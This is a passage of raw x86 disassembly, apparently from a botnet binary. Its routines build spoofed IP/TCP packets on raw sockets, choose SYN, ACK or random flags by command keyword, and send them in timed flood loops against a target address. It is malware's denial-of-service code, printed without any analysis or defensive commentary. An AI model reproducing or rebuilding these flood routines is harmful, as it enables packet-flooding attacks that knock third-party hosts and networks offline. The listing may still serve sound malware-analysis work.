call ds:dword_42713C ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call ds:dword_427138 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call __allmul
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414522: ; CODE XREF: sub_4143F7+25Dj
; sub_4143F7+26Bj
mov [ebp+var_24], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_34], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_8C]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414667
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call ds:dword_427138 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414690
jl loc_414522
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414690
jmp loc_414522
; ---------------------------------------------------------------------------
loc_414667: ; CODE XREF: sub_4143F7+247j
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_437AEC ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 10h
jmp short loc_414693
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: sub_4143F7+25Bj
; sub_4143F7+269j
mov ebx, [ebp+arg_8]
loc_414693: ; CODE XREF: sub_4143F7+78j
; sub_4143F7+297j
push [ebp+var_C]
call dword_4CBA6C ; closesocket
pop esi
loc_41469D: ; CODE XREF: sub_4143F7+5Bj
call dword_4CB92C ; WSACleanup
mov eax, ebx
loc_4146A5: ; CODE XREF: sub_4143F7+3Bj
pop edi
pop ebx
leave
retn
sub_4143F7 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4146A9(int,char *Str,int)
sub_4146A9 proc near ; CODE XREF: sub_414358+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4143F7
add esp, 1Ch
test eax, eax
jnz short loc_4146F4
push 1
pop eax
loc_4146F4: ; CODE XREF: sub_4146A9+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4146A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414703 proc near ; DATA XREF: sub_401ACD+6D3Do
Dest = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CBA14 ; inet_addr
push eax
call sub_4147A6
pop ecx
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_437B0C ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414787
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_194] ; int
call sub_409869
add esp, 14h
loc_414787: ; CODE XREF: sub_414703+62j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_414703 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147A6 proc near ; CODE XREF: sub_414703+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Src = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Dst = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
push 1
pop ecx
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
mov ebx, 0FFh
push 6
xor eax, eax
pop edx
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4CB9E8 ; gethostname
push [ebp+var_4]
call dword_4CBA58 ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4CBA54 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4CB9B4 ; setsockopt
mov esi, 200h
push esi ; Size
call _malloc
mov edi, ds:dword_4270B0
pop ecx
mov [ebp+Dst], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4CB9D4 ; htons
mov [ebp+var_96], ax
loc_4148C1: ; CODE XREF: sub_4147A6+1FCj
call edi ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja loc_4149A7
call _rand
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call _rand
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call _rand
cdq
mov ecx, 1FA4h
mov [ebp+Src], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call _rand
mov [ebp+var_20], ax
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4CB9D4 ; htons
push esi
mov [ebp+var_1E], ax
call dword_4CB9D4 ; htons
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call _rand
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+Src]
push eax
call sub_40AA5F
mov [ebp+var_1A], ax
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
push [ebp+Dst] ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+Dst]
push [ebp+var_4]
call dword_4CBA38 ; sendto
jmp loc_4148C1
; ---------------------------------------------------------------------------
loc_4149A7: ; CODE XREF: sub_4147A6+12Cj
push [ebp+Dst]
call sub_41BA91
pop ecx
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_4147A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149C1 proc near ; DATA XREF: sub_401ACD+5306o
Dest = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
Str = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
Src = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
Dst = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_4270B0
call edi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
push 0FFh
push 3
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_414A8A
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_437C24 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414A6A
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409869
add esp, 14h
loc_414A6A: ; CODE XREF: sub_4149C1+84j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_414A8A: ; CODE XREF: sub_4149C1+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_414B08
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_437BEC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414AE8
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409869
add esp, 14h
loc_414AE8: ; CODE XREF: sub_4149C1+102j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_414B08: ; CODE XREF: sub_4149C1+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_414B78
lea eax, [ebp+Dest]
push offset asc_437BCC ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_414B58
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409869
add esp, 14h
loc_414B58: ; CODE XREF: sub_4149C1+172j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_414B78: ; CODE XREF: sub_4149C1+157j
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push ebx
call dword_4CB9D4 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_414BB0: ; CODE XREF: sub_4149C1+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_414E74
push 28h
mov [ebp+var_2C], 45h
call dword_4CB9D4 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_414C23
call _rand
mov esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_414C39
; ---------------------------------------------------------------------------
loc_414C23: ; CODE XREF: sub_4149C1+233j
push [ebp+var_240]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_20], eax
loc_414C39: ; CODE XREF: sub_4149C1+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_414C57
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_414C5D
; ---------------------------------------------------------------------------
loc_414C57: ; CODE XREF: sub_4149C1+284j
push [ebp+var_B8]
loc_414C5D: ; CODE XREF: sub_4149C1+294j
call dword_4CB9D4 ; htons
mov [ebp+var_16], ax
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_4CB9D0 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+Str]
push offset aSyn ; "syn"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_414CAD
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_414D09
; ---------------------------------------------------------------------------
loc_414CAD: ; CODE XREF: sub_4149C1+2E1j
lea eax, [ebp+Str]
push offset aAck ; "ack"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_414CCD
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_414D09
; ---------------------------------------------------------------------------
loc_414CCD: ; CODE XREF: sub_4149C1+301j
lea eax, [ebp+Str]
push offset aRandom_0 ; "random"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_414D09
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_414D09: ; CODE XREF: sub_4149C1+2EAj
; sub_4149C1+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_4CB9D4 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+Src], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4CB9D4 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_80]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_8C]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_78]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414DF6
inc [ebp+arg_0]
jmp loc_414BB0
; ---------------------------------------------------------------------------
loc_414DF6: ; CODE XREF: sub_4149C1+42Bj
push [ebp+var_4]
call dword_4CBA6C ; closesocket
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset asc_437B7C ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_414E54
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409869
add esp, 14h
loc_414E54: ; CODE XREF: sub_4149C1+46Ej
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_414E74: ; CODE XREF: sub_4149C1+203j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset asc_437B2C ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_414EE5
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409869
add esp, 14h
loc_414EE5: ; CODE XREF: sub_4149C1+4FFj
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_4149C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F05 proc near ; CODE XREF: sub_41500F+19Ap
; sub_41500F+1A9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+arg_4], esi
jle short loc_414F31
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414F23: ; CODE XREF: sub_414F05+26j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414F23
pop edi
cmp eax, 1
loc_414F31: ; CODE XREF: sub_414F05+12j
jnz short loc_414F3E
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_414F3E: ; CODE XREF: sub_414F05:loc_414F31j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_414F05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F57 proc near ; DATA XREF: sub_401ACD+6C68o
Dest = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CBA14 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_41500F
add esp, 19Ch
push eax
lea eax, [ebp+Dest]
push offset asc_437C58 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414FF2
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_194] ; int
call sub_409869
add esp, 14h
loc_414FF2: ; CODE XREF: sub_414F57+79j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
sub_414F57 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41500F proc near ; CODE XREF: sub_414F57+54p
Dest = byte ptr -0CCh
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_A3 = byte ptr -0A3h
var_A2 = word ptr -0A2h
Src = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = byte ptr -62h
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_52 = word ptr -52h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = word ptr -2Ch
Dst = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0CCh
push ebx
push esi
mov esi, ds:dword_4270B0
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_10], eax
call dword_4CBA54 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
mov edi, 578h
push edi ; Size
push 9
push 1
call sub_418BD1
pop ecx
pop ecx
push eax ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
mov esi, 5A0h
loc_415069: ; CODE XREF: sub_41500F+235j
call ds:dword_4270B0 ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_415249
cmp dword_4CF180, ebx
jnz short loc_4150E8
push 10h
pop eax
mov [ebp+var_14], eax
push eax ; Size
lea eax, [ebp+var_68]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_68]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
push 0FFh
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_62]
push eax
movzx eax, [ebp+var_63]
push eax
movzx eax, [ebp+var_64]
push eax
lea eax, [ebp+Dest]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax ; Dest
call _sprintf
add esp, 18h
jmp short loc_4150FB
; ---------------------------------------------------------------------------
loc_4150E8: ; CODE XREF: sub_41500F+7Ej
lea eax, [ebp+Dest]
push offset byte_4CEB60 ; Source
push eax ; Dest
call _strcpy
pop ecx
pop ecx
loc_4150FB: ; CODE XREF: sub_41500F+D7j
lea eax, [ebp+Dest]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_C], eax
mov eax, [ebp+var_58]
and al, 45h
push esi
or al, 45h
mov [ebp+var_54], 10h
mov [ebp+var_58], eax
call dword_4CB9D4 ; htons
mov [ebp+var_52], ax
call _rand
mov [ebp+var_50], ax
mov eax, [ebp+var_C]
mov [ebp+var_48], eax
mov eax, [ebp+arg_194]
mov [ebp+var_4E], 40h
mov [ebp+var_4C], 40h
mov [ebp+var_4B], 6
mov [ebp+var_4A], bx
mov [ebp+var_44], eax
call _rand
mov [ebp+var_40], ax
call _rand
mov [ebp+var_3E], ax
call _rand
mov [ebp+var_3C], eax
call _rand
mov [ebp+var_38], eax
mov eax, [ebp+var_34]
and ax, 0FF50h
push 14h
or al, 50h
mov byte ptr [ebp+var_34+2], 18h
mov word ptr [ebp+var_34], ax
mov ax, [ebp+var_3E]
mov [ebp+var_76], ax
mov eax, [ebp+var_44]
mov [ebp+var_74], eax
lea eax, [ebp+var_58]
push eax
mov [ebp+var_30], 787Dh
mov [ebp+var_2E], bx
mov [ebp+var_2C], bx
mov [ebp+var_78], 2
call sub_414F05
mov [ebp+var_4A], ax
lea eax, [ebp+var_58]
push 28h
push eax
call sub_414F05
mov eax, [ebp+var_48]
add esp, 10h
mov [ebp+var_AC], eax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], bl
mov [ebp+var_A3], 6
call ds:dword_4271F4 ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_40]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_8C]
push edi ; Size
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_AC]
push 598h
push eax
call sub_414F05
add esp, 20h
mov [ebp+var_2E], ax
push 10h
lea eax, [ebp+var_78]
push eax
push ebx
lea eax, [ebp+var_58]
push esi
push eax
push [ebp+var_8]
call dword_4CBA38 ; sendto
inc [ebp+var_4]
jmp loc_415069
; ---------------------------------------------------------------------------
loc_415249: ; CODE XREF: sub_41500F+72j
push [ebp+var_8]
call dword_4CBA6C ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41500F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
